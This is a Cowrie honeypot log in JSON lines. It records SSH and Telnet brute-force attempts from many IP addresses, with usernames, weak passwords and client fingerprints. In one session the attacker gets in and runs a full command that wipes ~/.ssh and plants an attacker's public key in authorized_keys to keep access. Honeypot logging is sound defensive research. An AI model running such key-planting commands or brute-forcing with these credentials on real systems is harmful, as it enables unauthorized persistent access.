{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:20.922121Z","src_ip":"46.24.47.94","session":"d4d62a7104bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pixel","message":"login attempt [root/pixel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:21.385715Z","src_ip":"46.24.47.94","session":"d4d62a7104bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:22.496648Z","src_ip":"46.24.47.94","session":"d4d62a7104bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":45564,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d85365c39a6","protocol":"ssh","message":"New connection: 152.32.238.146:45564 (10.17.0.5:22) [session: 9d85365c39a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:23.991297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:23.998598Z","src_ip":"152.32.238.146","session":"9d85365c39a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:24.006575Z","src_ip":"152.32.238.146","session":"9d85365c39a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoopuser","password":"123456","message":"login attempt [hadoopuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:24.099452Z","src_ip":"152.32.238.146","session":"9d85365c39a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48444,"dst_ip":"10.17.0.5","dst_port":23,"session":"a83edc794ed4","protocol":"telnet","message":"New connection: 104.245.105.2:48444 (10.17.0.5:23) [session: a83edc794ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:24.655222Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:25.120480Z","src_ip":"152.32.238.146","session":"9d85365c39a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":57500,"dst_ip":"10.17.0.5","dst_port":23,"session":"e59a9858ab8f","protocol":"telnet","message":"New connection: 20.123.41.163:57500 (10.17.0.5:23) [session: e59a9858ab8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:26.472308Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.64.168.136","src_port":52572,"dst_ip":"10.17.0.5","dst_port":22,"session":"baf7e33787e2","protocol":"ssh","message":"New connection: 143.64.168.136:52572 (10.17.0.5:22) [session: baf7e33787e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:28.147054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:28.151653Z","src_ip":"143.64.168.136","session":"baf7e33787e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:28.402683Z","src_ip":"143.64.168.136","session":"baf7e33787e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!@#$%","message":"login attempt [admin/!@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:29.436130Z","src_ip":"143.64.168.136","session":"baf7e33787e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:35.443416Z","src_ip":"143.64.168.136","session":"baf7e33787e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.15664863586426,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:36.253345Z","src_ip":"104.245.105.2","session":"8c4d70f9a613","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.47356677055359,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:36.739434Z","src_ip":"20.123.41.163","session":"316e72fdfd34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":43132,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c5b6118aa4c","protocol":"ssh","message":"New connection: 103.143.231.102:43132 (10.17.0.5:22) [session: 6c5b6118aa4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:50.716740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:50.724615Z","src_ip":"103.143.231.102","session":"6c5b6118aa4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:50.794823Z","src_ip":"103.143.231.102","session":"6c5b6118aa4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"123456","message":"login attempt [user3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:51.107355Z","src_ip":"103.143.231.102","session":"6c5b6118aa4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":43986,"dst_ip":"10.17.0.5","dst_port":23,"session":"536d4dc97bbe","protocol":"telnet","message":"New connection: 20.123.41.163:43986 (10.17.0.5:23) [session: 536d4dc97bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:51.295306Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":36418,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d52a91e0e08","protocol":"ssh","message":"New connection: 45.144.233.139:36418 (10.17.0.5:22) [session: 7d52a91e0e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:51.711674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:51.716341Z","src_ip":"45.144.233.139","session":"7d52a91e0e08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:51.802814Z","src_ip":"45.144.233.139","session":"7d52a91e0e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:52.179715Z","src_ip":"103.143.231.102","session":"6c5b6118aa4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aamir","password":"aamir","message":"login attempt [aamir/aamir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:52.184399Z","src_ip":"45.144.233.139","session":"7d52a91e0e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:53.275903Z","src_ip":"45.144.233.139","session":"7d52a91e0e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46800,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8e87d8887d9","protocol":"telnet","message":"New connection: 104.245.105.2:46800 (10.17.0.5:23) [session: f8e87d8887d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:53.548376Z"}
{"eventid":"cowrie.session.closed","duration":4.630951166152954,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:55.926178Z","src_ip":"20.123.41.163","session":"536d4dc97bbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46816,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9c3c2994ac4","protocol":"telnet","message":"New connection: 104.245.105.2:46816 (10.17.0.5:23) [session: c9c3c2994ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:58.752492Z"}
{"eventid":"cowrie.session.closed","duration":34.31480884552002,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:58.969918Z","src_ip":"104.245.105.2","session":"a83edc794ed4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.14836883544922,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:03.612761Z","src_ip":"20.123.41.163","session":"e97bb64e025e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":60562,"dst_ip":"10.17.0.5","dst_port":23,"session":"db1c97ca8cae","protocol":"telnet","message":"New connection: 20.123.41.163:60562 (10.17.0.5:23) [session: db1c97ca8cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.000739Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":60282,"dst_ip":"10.17.0.5","dst_port":22,"session":"80414af5c487","protocol":"ssh","message":"New connection: 152.32.238.146:60282 (10.17.0.5:22) [session: 80414af5c487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.338430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.343934Z","src_ip":"152.32.238.146","session":"80414af5c487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.357799Z","src_ip":"152.32.238.146","session":"80414af5c487","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345678","message":"login attempt [steam/12345678] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.452652Z","src_ip":"152.32.238.146","session":"80414af5c487","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.531232Z","src_ip":"152.32.238.146","session":"80414af5c487","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.534859Z","src_ip":"152.32.238.146","session":"80414af5c487","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.538629Z","src_ip":"152.32.238.146","session":"80414af5c487","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.560580Z","src_ip":"152.32.238.146","session":"80414af5c487","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.632651Z","src_ip":"152.32.238.146","session":"80414af5c487","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.636243Z","src_ip":"152.32.238.146","session":"80414af5c487","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.657683Z","src_ip":"152.32.238.146","session":"80414af5c487","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.666409Z","src_ip":"152.32.238.146","session":"80414af5c487","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":36326,"dst_ip":"10.17.0.5","dst_port":22,"session":"00c48c34dff7","protocol":"ssh","message":"New connection: 152.32.238.146:36326 (10.17.0.5:22) [session: 00c48c34dff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.671906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.676680Z","src_ip":"152.32.238.146","session":"00c48c34dff7","protocol":"ssh"}
